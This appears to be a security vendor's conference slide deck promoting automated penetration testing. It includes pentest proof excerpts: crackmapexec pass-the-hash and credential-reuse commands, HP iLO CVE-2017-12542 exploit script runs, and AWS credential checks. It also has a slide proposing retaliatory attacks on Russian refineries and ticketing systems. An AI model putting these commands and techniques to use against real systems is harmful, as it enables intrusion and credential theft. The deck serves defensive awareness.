

# The Attacker's Perspective

Presentation by  
Rainer M. Richter  
Vice President EMEA & APAC



## “Are we secure? How do we know?”





## Justify the budget...



Paying  
50k for  
a pentest



Paying  
500k for  
a ransom



## Spend weeks preparing...



Upcoming  
pentest

Telling my boss we  
fixed all the "Criticals"  
from the latest  
vulnerability scan



## Get PWN'd...



## Start updating your LinkedIn Profile...



Sir, here are  
the results  
from our  
latest pentest

These are the  
exact same  
problems  
they found  
last year?!

## Supply



## Demand

**<5,000**

Certified Ethical Hackers in US

**~10 years**

To become a “Master” Ethical Hacker

**~18 weeks**

Lead time to schedule a single pentest and receive report

### Growing Infrastructure Attack Surface

- Datacenter
- Clouds
- OSINT
- Perimeter
- SaaS Access
- DarkWeb Data
- Insider Threat
- WFH
- IoT

### Compliance Requirements

- SOC2
- CMMC
- HIPPA
- GDPR
- PC
- State & Federal laws
- NIS2
- DORA

### Continuously Prove Security posture

- To the Board
- Justify ROI of ~130 defensive tools
- To Regulators
- Validate SOC/MSSP response time
- To customers
- Keep up with continuous changes in env
- To insurance providers





✓ Vulnerability scan



✓ Annual Pentest



✓ Annual Tabletop Exercise



✓ We're secure, bring it!



Waiting for a breach to verify  
my security tools work



1000+ companies have withdrawn from the Russian economy

Suppliers



Distributors

## Western Sanctions

Ban Russians from traveling



Corrupt airline ticketing database

Ban the sale of luxury goods



Attack logistics industry to create product shortages

Ban Russian oil & gas



Attack refineries & pipelines to cause 10x spike in gas prices

## Cyber-Enabled Counter Punch

## 1. See your enterprise through the eyes of the attacker


- Attackers will get in, can you detect and stifle them?
- Are your “crown jewels” secure?
- Are your tools & processes effective?

## 2. Build your incident response muscle memory





- Router crashed due to hack or IT misconfig?
- Are your processes clearly understood?
- Who has decision-making authority?

## 3. Operational Collaboration

- Red + Blue = Purple teams
- Your suppliers & distributors are part of your security team
- Operationally-minded ISAC's



**Don't tell me we're secure, show me**







## Environment

- Internal infrastructure pentest
- ~5,000 hosts
- EDR & UBA tools installed

### Windows SMB RCE


```
Proof
Proof of remote command execution: Output of 'whoami' command showing current user.

python3 /opt/h3/m3run.py
VERBOSE => false
SPORT => 445
SSL => false
SSLVersion => Auto
SSLVerifyMode => PEER
ConnectTimeout => 10
TCP::max_send_size => 0
TCP::send_delay => 0
DCERPC::max_frag_size => 4096
DCERPC::fake_bind_multi => true
DCERPC::fake_bind_multi_prepend => 0
DCERPC::fake_bind_multi_append => 0
DCERPC::smb_pipeloop => 1x
DCERPC::ReadTimeout => 10
```

### Dump LSASS to harvest credentials

```
Proof
The administrator user administrator was used to access the endpoint 10.0.220.55

crackmapexec smb 10.0.220.55 -u administrator --shares -H B***** --local-auth
SMB 10.0.220.55 445 WIN2K3 [+] Windows Server 2003 3790 Service Pack 2 (name:W1
SMB 10.0.220.55 445 WIN2K3 [+] WIN2K3\administrator B*****
SMB 10.0.220.55 445 WIN2K3 [+] Enumerated shares
SMB 10.0.220.55 445 WIN2K3 Share Permissions Remark
SMB 10.0.220.55 445 WIN2K3 -----
SMB 10.0.220.55 445 WIN2K3 C$ READ,WRITE Default share
SMB 10.0.220.55 445 WIN2K3 IPC$ Remote IPC
SMB 10.0.220.55 445 WIN2K3 ADMIN$ READ,WRITE Remote Admin
```



**FORTINET**

## What happened?

- Fortinet was misconfigured on 3/5000 machines
- “Buy why didn’t Fortinet stop the credential pivot?”
- Per Fortinet, “Customer didn’t buy the right UBA modules”

Credential reuse leads to Domain Compromise

```
Proof
The administrator user a-jsmith was used to access the SMOKE.NET domain

crackmapexec smb 10.0.229.1 -u a-jsmith --shares -p 1*****
SMB 10.0.229.1 445 DC [+] Windows Server 2012 R2 Standard 9600 x64 (name:D
SMB 10.0.229.1 445 DC [+] smoke.net\a-jsmith:1***** (Pwn3d!)
SMB 10.0.229.1 445 DC [+] Enumerated shares
SMB 10.0.229.1 445 DC Share Permissions Remark
SMB 10.0.229.1 445 DC -----
SMB 10.0.229.1 445 DC ADMIN$ READ,WRITE Remote Admin
SMB 10.0.229.1 445 DC C$ READ,WRITE Default share
SMB 10.0.229.1 445 DC IPC$ Remote IPC
SMB 10.0.229.1 445 DC NETLOGON READ,WRITE Logon server share
SMB 10.0.229.1 445 DC SYSVOL READ Logon server share
```

## Environment

- Internal infrastructure pentest
- ~10,000 hosts
- Robust patching processes
- Cylance for AV
- Qualys for VM & reporting



## Netlogon Elevation of Privilege Vulnerability (CVE-2020-1472)

ZeroLogon

Base Score

CRITICAL: 10

## Impact

REMOTE CODE EXECUTION

UNAUTHORIZED ACCESS

PRIVILEGE ESCALATION



CYLANCE



Exploitation isn't required

## What happened?

- ZeroLogon patch has 2 steps
  1. Update registry files to show patch was applied
  2. Apply the binaries
- Cylance blocked the binaries from applying
- Qualys relies on registry files to report patching status
- Went unnoticed for 18 months, had to rebuild network



# Story 4: Becoming AWS Admin

1. NodeZero given initial access
2. NodeZero discovers **2,000** hosts on the network
3. NodeZero identifies HP iLO running on 5 hosts
4. NodeZero successfully gains RCE via HP iLO CVE-2017-12542
5. NodeZero successfully dumps creds via HP iLO RCE
6. NodeZero identifies admin credential from dump, pivots to gain Admin access to adjacent Windows box
7. NodeZero searches local filesystem and identifies password.txt file that contains AWS admin creds
8. NodeZero utilizes harvested credentials to become AWS Admin

```

Proof

The below HP iLO users were enumerated with the RCE vulnerability


/opt/h3/iLO4_toolbox/scripts/iLO4/exploits/exploit_add_user.py
[+] Found iLO 4 2.50
[+] Target is VULNERABLE!
[+] Account name: User Account Username: Administrator
{"vulnerable": true, "users": ["Administrator"], "ilo_ver": "4", "ilo_fw": "2.50"}
  
```

```

Proof

The below HP iLO credentials were enumerated with the RCE vulnerability

python2 /opt/h3/iLO4_toolbox/scripts/iLO4/exploits/exploit_read_users.py
[+] Found iLO 4 2.50
[+] Connecting to:
[+] Connected
[+] Assembling shellcode...
[+] Preparing shellcode headers...
[+] Preparing fake vtable...
[+] Preparing fake vtable headers...
[+] Preparing XML request...
[+] Sending 13c41 bytes...
[+] Request XML sent
[+] XML data retrieved
[+] Found iLO version 2.50
[+] Preparing request 2...
[+] Sending 13cd bytes...
  
```



```

Proof

The administrator user Administrator was used to access the endpoint

crackmapexec smb 10.4 -u Administrator --shares -p N*****% --local-auth
SMB 445 [.] Windows Server 2016 Datacenter 14393 x64 (name:
SMB 445 [.] \Administrator;N*****% (Pan3d!)
SMB 445 [.] Enumerated shares
SMB 445 Share Permissions Remark
SMB 445 -----
SMB 445 ADMIN$ READ,WRITE Remote Admin
SMB 445 C$ READ,WRITE Default share
SMB 445 IICS_Files READ,WRITE
SMB 445 IPC$ Remote IPC
  
```

Credentials File




```

Proof

Proof of valid AWS credential

python3 /opt/h3/aws_verify_creds.py --key_file .aws_keys --output_file output.json
{
  "Authentication": "Success",
  "Account": "arn:aws:iam::123456789012:role/Administrator",
  "UserId": "arn:aws:iam::123456789012:user/Administrator",
  "Arn": "arn:aws:iam::123456789012:role/Administrator"
}
  
```




- Assume attackers can gain initial access
- Implement multiple layers of security controls – Perimeter, Identity, Behavioral, etc
- Provides redundancy in the event a single control fails
- BUT... on average, you have 130 security tools deployed
- **Reality:** these security tools aren't designed to work together

## After running a NodeZero pentest...

1. Did you detect us?
2. Did you log us?
3. Did you alert on us?
4. Did you stop us?






- Delivered as SaaS – no agents, custom scripts, or credentials required.
  - EU instance in Frankfurt/Main, operated by Horizon3.ai Europe GmbH
- Up and running in <10 minutes via self-service UI or API.
- No consultants or professional services required.
- Helping to fulfill mandatory requirements NIS-2 and DORA

## Top 10 techniques used

1. **Brute force weak and default credentials** across protocols (SSH, FTP, web, etc)
2. **Credential dumping & reuse** across Windows & Linux hosts
3. Public-facing asset discovery and **perimeter host exploitation**
4. **Lateral movement** via insufficient network segmentation
5. **Man-in-the-middle** and relay attacks
6. Windows Active Directory **privilege escalation** vectors such as Kerberoasting
7. Exploitation of **misconfigurations** & vulnerabilities in routers, iLOs, iDRACs, etc.
8. Open-Source Intelligence and **password spraying** credentials
9. Exploitation of misconfigurations and vulnerabilities in DevOps tools such as Jenkins, GitLab, Kubernetes, Docker
10. Exploitation of **critical CISA recognized vulnerabilities** & remote code execution

## ... To achieve critical impacts





# Continuously verify your security posture

1. On-demand, self-service pentests
2. Attack paths spanning on-prem, cloud, perimeter
3. Chain misconfigurations, defaults, vulnerabilities, and credentials at-scale



**FIX**  
*Via  
SOAR*

1. Prioritize exploitable vulnerabilities
2. Secure critical data
3. Quickly remediate & retest

**VERIFY**  
*Via Detection  
Engineering*

1. Verify detection & response
2. Verify cyber resilience & systems hardening
3. Verify compliance posture



# Thank You!

rainer@horizon3.ai

[www.horizon3.ai](http://www.horizon3.ai)  
[www.linkedin.com/company/horizon3ai](http://www.linkedin.com/company/horizon3ai)  
<https://twitter.com/horizon3ai>



Hall 7, booth is 724